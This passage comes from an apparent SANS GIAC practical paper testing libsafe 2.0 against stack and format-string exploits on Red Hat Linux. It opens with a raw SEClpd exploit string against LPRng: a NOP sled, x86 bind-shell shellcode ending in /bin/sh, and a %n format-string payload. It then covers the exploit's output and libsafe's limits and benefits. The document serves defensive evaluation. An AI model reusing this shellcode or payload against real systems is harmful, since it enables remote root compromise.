Ùóÿ¿Úóÿ¿Ûóÿ¿XXXXXXXXXXXXXXXXXX00000000000000000000000000000000000000000000000000 
00000000000000000000000000000000000000000000000000000000000000000000000000000000 
00000000000000000000480000000000000001073835088security0000000000000000000000000 
00000000000000000000000000000000000000000000000000000000000000000000000000000000 
00000000000000000000000000000000000000000000000000000000000000000000000000000000 
0000006<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
<90><90>1Û1É1À°FÍ<80><89>å1Ò²f<89>Ð1É<89>ËC<89>]øC<89>]ôK<89>Mü<8D>MôÍ<80>1É<89> 
EôCf<89>]ìfÇEî^O'<89>Mð<8D>Eì<89>EøÆEü^P<89>Ð<8D>MôÍ<80><89>ÐCCÍ<80><89>ÐCÍ<80> 
<89>Ã1É²?<89>ÐÍ<80><89>ÐAÍ<80>ë^X^<89>u^H1À<88>F^G<89>E^L°^K<89>ó<8D>M^H<8D>U^LÍ 
<80>èãÿÿÿ/bin/sh' 
 
Next, libsafe 2.0 is activated on the Red Hat Linux 7.0 target machine and SEClpd is run 
against it a second time. The following messages are printed: 
 
. . . 
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Generation complete: 
Address: 
01f0ffbf.02f0ffbf.03f0ffbf.58585858.58585858.58585858.58585858.58585858 
.58585858 
Append: %.192u%300$n%.238u%301$n%.11u%302$n%.192u%303$n 
--- [5] Unable to create socket! 
Exploit failed! 
 
SEClpd has reached its final iteration of the brute force loop. There is a built in maximum 
offset value that when reached, SEClpd gives up and prints the above error message. Did 
libsafe 2.0 detect an attempt to overwrite a return address location? No. Did it take the 
necessary action to terminate LPRng? No. A status on LPRng reveals: 
 
[root@targethost70 /]# /etc/rc.d/init.d/lpd status 
lpd (pid 530) is running. . . 
 
LPRng is still running and accepting connections on TCP port 515. The earlier SEClpd 
attempt successfully identified a return address location. When this return address 
location was tried in the second SEClpd run, a libsafe 2.0 detection would have 
terminated the lpd process listening on port 515. Connection refusals to TCP port 515 
would have ensued. 
 
This means “%n” format specifiers in the malicious string were never processed. Libsafe 
2.0 had a key role in preventing this event. A look at entries in /var/log/messages reveals 
what occurred: 
 
Jul 23 05:06:12 targethost70 SERVER[3017]: Dispatch_input: bad request 
line 'BB^Hòÿ¿^Iòÿ¿' 
Jul 23 05:06:17 targethost70 SERVER[3081]: Dispatch_input: bad request 
line 'BB^Hñÿ¿^Iñÿ¿' 
Jul 23 05:06:21 targethost70 SERVER[3145]: Dispatch_input: bad request 
line 'BB^Hðÿ¿^Iðÿ¿' 
 
Note the emitted string logged by syslog() is only 12 bytes in size. These 12 bytes of the 
malicious string are part of the guessed return address location. However, no further 
values, padding, or shellcode appears. 
 
When the syslog() function is passed a message string, the vsprintf() function is used to 
process it. Libsafe 2.0 reimplements the core _IO_vfprintf() function which is eventually 
called by the *printf() family of functions. It is logical to conclude that this 
reimplementation has imposed bounds on the user supplied input as shown by the 
truncated syslog entries above. It is not readily clear why a size enforcement was done 
with the SEClpd exploit. 
 
Libsafe 2.0 prevented the malicious string to such an extent that exploit detection and 
subsequent termination of LPRng were not necessary. Because of this, no violation 
messages were logged to /var/log/secure. In this case however, a systems administrator 
needed to be notified of an intrusion attempt. Even though the exploit failed and the 
LPRng service continued to run, an incident handling process needed to be initiated. 
Response to the intrusion attempt may have involved researching LPRng vulnerabilities 
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and appropriate patches. The author has contacted libsafe 2.0 developers at Avaya Labs 
asking if detection and notification of an enforced string bounds are possible. 
 
Libsafe 2.0 Limitations 
Since libsafe 2.0 provides dynamically loadable library functions, it will not work for 
programs that have been statically linked. Statically linked programs will not be protected 
under libsafe 2.0 but their operation will not be affected by the libsafe 2.0 installation. 
 
Programs that have been linked with libc5 are not supported by libsafe 2.0.  These 
programs will need to be recompiled with libc6 in order to work with libsafe 2.0. 
 
Libsafe 2.0 detection facilities utilize embedded frame pointers to calculate upper bounds 
within a stack frame and to determine return address locations. Programs that have been 
compiled without code to embed frame pointers on the stack will be detected by libsafe 
2.0 and will bypass libsafe 2.0 safety checks. They will be run normally with the standard 
C library functions. Such programs may have been compiled with the gcc –fomit-frame-
pointer option. 
 
Libsafe 2.0 itself continues to undergo improvements. Through the course of testing, the 
author found problems with libsafe 2.0’s operation. The statdx exploit successfully 
compromised a Red Hat Linux 6.2 system protected by a default installation of libsafe 
2.0. The SEClpd exploit was stopped by the libsafe 2.0 reimplementation of 
_IO_vfprintf(). However, libsafe 2.0 failed to produce notification of what it had done. 
These issues can be resolved through software fixes and do not demonstrate any serious 
limitations of libsafe 2.0. From the author’s experience libsafe 2.0 developers are 
responsive and welcome submissions of bug reports.  
 
The scope of libsafe 2.0’s protection is limited to the set of safe library functions that 
have been reimplemented. However, this set of functions handles a significant amount of 
exploits against stack-related bugs in software. 
 
Libsafe 2.0 Benefits and Conclusions 
The benefits of libsafe 2.0 are immense in securing a system against stack exploits. 
Libsafe 2.0 provides a level of protection that offers significant advantages over the 
limited solutions of applying software patches to specific modules and subsystems. By 
preventing future, unknown attacks a libsafe 2.0 protected system enjoys an excellent 
measure of preventative security. 
 
Installation of libsafe 2.0 on a machine should not preclude a security policy of applying 
patches to identified software vulnerabilities. Libsafe 2.0 will give an administrator the 
opportunity to thoroughly research a vulnerability and test fixes without the pressure of 
an impending intrusion. 
 
Libsafe 2.0 can be thought of as an intrusion detection system with teeth. Intrusion 
detection systems generally do not take defensive action to protect hosts. Since libsafe 
2.0 operates at the lower levels of the operating system, it has access to sufficient 



©
 S

A
N

S 
In

st
itu

te
 2

00
0 

- 2
00

2,
 A

ut
ho

r r
et

ai
ns

 fu
ll 

ri
gh

ts
.

 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
Securing the Stack on Red Hat Linux 6.2 and 7.0 Systems with Libsafe 2.0 18 

information to make positive identifications when stack violations occur. This eliminates 
the problem of false positives. When a detection is made, protective action follows. 
 
Since libsafe 2.0 requires no modifications to the operating system or application 
software packages, installation is simple and libsafe 2.0 requires minimal ongoing 
administration. Because libsafe 2.0 operates at the level of library functions, libsafe 2.0 
does not require access to program source code in order to protect vulnerable software. 
Licensing restrictions on source code are a non-issue. The protection libsafe 2.0 offers 
encompasses closed and open source programs. 
 
According to experiments performed by developers at Avaya Labs, the performance 
overhead of libsafe 2.0 is negligible, even though extra code is required within the 
substitute functions to perform detections. A substitute library function can actually 
outperform the original function. This is the case with the implementation of the strcat() 
function where a performance gain over the original strcat() function occurs when used 
with strings longer than 256 bytes. 
  
With the above benefits, libsafe 2.0 can play a key role in an organization’s information 
security strategy. Its integration to Linux systems merits serious consideration. 
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